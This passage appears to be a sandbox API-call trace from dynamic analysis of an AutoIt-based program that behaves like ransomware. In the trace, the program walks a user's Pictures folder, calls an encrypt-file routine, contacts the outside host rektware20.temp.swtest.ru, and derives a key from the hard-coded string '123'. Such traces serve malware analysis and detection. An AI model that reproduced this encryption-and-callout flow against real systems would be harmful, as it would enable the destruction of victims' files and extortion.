lpString1="P\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.743] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.743] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.743] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="JaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.743] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="aWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.743] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="WTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.743] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Ttn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.743] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="tn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.743] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="n6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.743] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.743] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.743] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.743] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.743] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="YzFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.743] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="zFXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.743] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FXjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.743] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Xjvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.743] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jvq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.743] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="vq6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.744] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="q6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.744] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.744] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="u\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.744] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="\\XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.744] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="XIRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.744] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="IRni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.744] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Rni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.744] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="ni-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.744] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="i-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.744] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="-OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.744] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="OYLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.744] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="YLmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.744] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="Lmcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.744] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="mcs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.744] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="cs4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.744] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="s4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.744] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="4FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.744] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="FT.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.744] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="T.jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.744] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=".jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 1 [0061.744] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="jpg", cchCount1=3, lpString2=".xd", cchCount2=3) returned 3 [0061.744] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0061.744] CharUpperBuffW (in: lpsz="CRYPT", cchLength=0x5 | out: lpsz="CRYPT") returned 0x5 [0061.744] PeekMessageW (in: lpMsg=0x130f3bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f3bc) returned 0 [0061.744] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0061.744] InternetCrackUrlW (in: lpszUrl="http://rektware20.temp.swtest.ru/test1.php", dwUrlLength=0x2a, dwFlags=0x0, lpUrlComponents=0x130edc8 | out: lpUrlComponents=0x130edc8) returned 1 [0061.745] InternetOpenW (lpszAgent="AutoIt", dwAccessType=0x0, lpszProxy=0x0, lpszProxyBypass=0x0, dwFlags=0x0) returned 0xcc0004 [0061.745] InternetSetOptionW (hInternet=0x0, dwOption=0x32, lpBuffer=0x130ee10, dwBufferLength=0x8) returned 1 [0061.745] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x0, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x0, lpdwBufferLength=0x130ee1c) returned 0 [0061.745] InternetQueryOptionW (in: hInternet=0x0, dwOption=0x26, lpBuffer=0x1620e20, lpdwBufferLength=0x130ee1c | out: lpBuffer=0x1620e20, lpdwBufferLength=0x130ee1c) returned 1 [0061.745] InternetConnectW (hInternet=0xcc0004, lpszServerName="rektware20.temp.swtest.ru", nServerPort=0x50, lpszUserName="", lpszPassword="", dwService=0x3, dwFlags=0x0, dwContext=0x0) returned 0xcc0008 [0061.745] HttpOpenRequestW (hConnect=0xcc0008, lpszVerb=0x0, lpszObjectName="/test1.php", lpszVersion=0x0, lpszReferrer=0x0, lplpszAcceptTypes=0x0, dwFlags=0x0, dwContext=0x0) returned 0xcc000c [0061.745] HttpSendRequestW (in: hRequest=0xcc000c, lpszHeaders=0x0, dwHeadersLength=0x0, lpOptional=0x0*, dwOptionalLength=0x0 | out: lpOptional=0x0*) returned 1 [0061.745] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x20000013, lpBuffer=0x130edd0, lpdwBufferLength=0x130edc8, lpdwIndex=0x130edcc*=0x0 | out: lpBuffer=0x130edd0*, lpdwBufferLength=0x130edc8*=0x4, lpdwIndex=0x130edcc*=0x0) returned 1 [0061.745] HttpQueryInfoW (in: hRequest=0xcc000c, dwInfoLevel=0x5, lpBuffer=0x130edec, lpdwBufferLength=0x130ee18, lpdwIndex=0x130ee1c*=0x0 | out: lpBuffer=0x130edec*, lpdwBufferLength=0x130ee18*=0x2, lpdwIndex=0x130ee1c*=0x1) returned 1 [0061.746] InternetQueryDataAvailable (hFile=0xcc000c, lpdwNumberOfBytesAvailable=0x130edcc, dwFlags=0x0, dwContext=0x0) returned 1 [0061.746] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16291a0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16291a0*, lpdwNumberOfBytesRead=0x130edd0*=0x2) returned 1 [0061.746] InternetReadFile (in: hFile=0xcc000c, lpBuffer=0x16293c0, dwNumberOfBytesToRead=0x2, lpdwNumberOfBytesRead=0x130edd0 | out: lpBuffer=0x16293c0*, lpdwNumberOfBytesRead=0x130edd0*=0x0) returned 1 [0061.746] InternetCloseHandle (hInternet=0xcc000c) returned 1 [0061.746] InternetCloseHandle (hInternet=0xcc0004) returned 1 [0061.746] InternetCloseHandle (hInternet=0xcc0008) returned 0 [0061.746] CloseHandle (hObject=0x0) returned 0 [0061.746] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.746] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Pictures\\Tna4ykb0U1\\bp5kHlYytl7wP\\fJaWTtn6a7XYzFXjvq6u\\XIRni-OYLmcs4FT.jpg", lpFindFileData=0x130ebb0 | out: lpFindFileData=0x130ebb0) returned 0x164cb30 [0061.746] FindClose (in: hFindFile=0x164cb30 | out: hFindFile=0x164cb30) returned 1 [0061.747] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.747] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0061.747] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.747] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.747] PeekMessageW (in: lpMsg=0x130eaec, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130eaec) returned 0 [0061.747] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.747] LoadLibraryW (lpLibFileName="Advapi32.dll") returned 0x74c60000 [0061.748] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.748] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.748] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0061.748] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.749] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.749] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.749] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.749] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.749] PeekMessageW (in: lpMsg=0x130e8bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e8bc) returned 0 [0061.750] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0061.750] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContext", cchWideChar=20, lpMultiByteStr=0x164e1b0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContext", lpUsedDefaultChar=0x0) returned 20 [0061.751] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContext") returned 0x0 [0061.751] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0061.752] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptAcquireContextA", cchWideChar=21, lpMultiByteStr=0x164df90, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptAcquireContextA", lpUsedDefaultChar=0x0) returned 21 [0061.753] GetProcAddress (hModule=0x74c60000, lpProcName="CryptAcquireContextA") returned 0x74c80c00 [0061.753] CryptAcquireContextA (in: phProv=0x130e890, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x130e890*=0x17a9f88) returned 1 [0061.757] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.757] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.757] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0061.757] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.757] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.758] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.758] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.758] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.758] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0061.759] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.759] PeekMessageW (in: lpMsg=0x130ecb4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ecb4) returned 0 [0061.759] PeekMessageW (in: lpMsg=0x130ef0c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ef0c) returned 0 [0061.759] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.759] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.760] PeekMessageW (in: lpMsg=0x130f164, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f164) returned 0 [0061.760] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0061.760] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.760] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.760] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0061.761] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.761] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0061.761] PeekMessageW (in: lpMsg=0x130e5bc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5bc) returned 0 [0061.761] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.762] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.762] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0061.763] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.763] PeekMessageW (in: lpMsg=0x130e784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e784) returned 0 [0061.764] PeekMessageW (in: lpMsg=0x130e9dc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e9dc) returned 0 [0061.764] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.764] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.764] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.764] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.764] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0061.764] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.764] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0061.764] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptCreateHash", cchWideChar=16, lpMultiByteStr=0x1621390, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptCreateHash", lpUsedDefaultChar=0x0) returned 16 [0061.765] GetProcAddress (hModule=0x74c60000, lpProcName="CryptCreateHash") returned 0x74c7f930 [0061.765] CryptCreateHash (in: hProv=0x17a9f88, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x130e600 | out: phHash=0x130e600) returned 1 [0061.765] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.765] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.765] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.765] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0061.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x1629430, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0061.765] CharLowerBuffW (in: lpsz="byte[3]", cchLength=0x7 | out: lpsz="byte[3]") returned 0x7 [0061.765] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0061.765] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="123", cchWideChar=4, lpMultiByteStr=0x16294d0, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="123", lpUsedDefaultChar=0x0) returned 4 [0061.765] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.765] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.765] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.765] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0061.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptHashData", cchWideChar=14, lpMultiByteStr=0x1621840, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptHashData", lpUsedDefaultChar=0x0) returned 14 [0061.766] GetProcAddress (hModule=0x74c60000, lpProcName="CryptHashData") returned 0x74c7f950 [0061.766] CryptHashData (hHash=0x164c8f0, pbData=0x1629330, dwDataLen=0x3, dwFlags=0x1) returned 1 [0061.766] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.766] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.766] PeekMessageW (in: lpMsg=0x130ec34, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130ec34) returned 0 [0061.766] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0061.766] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.766] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0061.766] PeekMessageW (in: lpMsg=0x130e5cc, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130e5cc) returned 0 [0061.766] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0061.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0061.766] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CryptDeriveKey", cchWideChar=15, lpMultiByteStr=0x16216f0, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CryptDeriveKey", lpUsedDefaultChar=0x0) returned 15 [0061.767] GetProcAddress (hModule=0x74c60000, 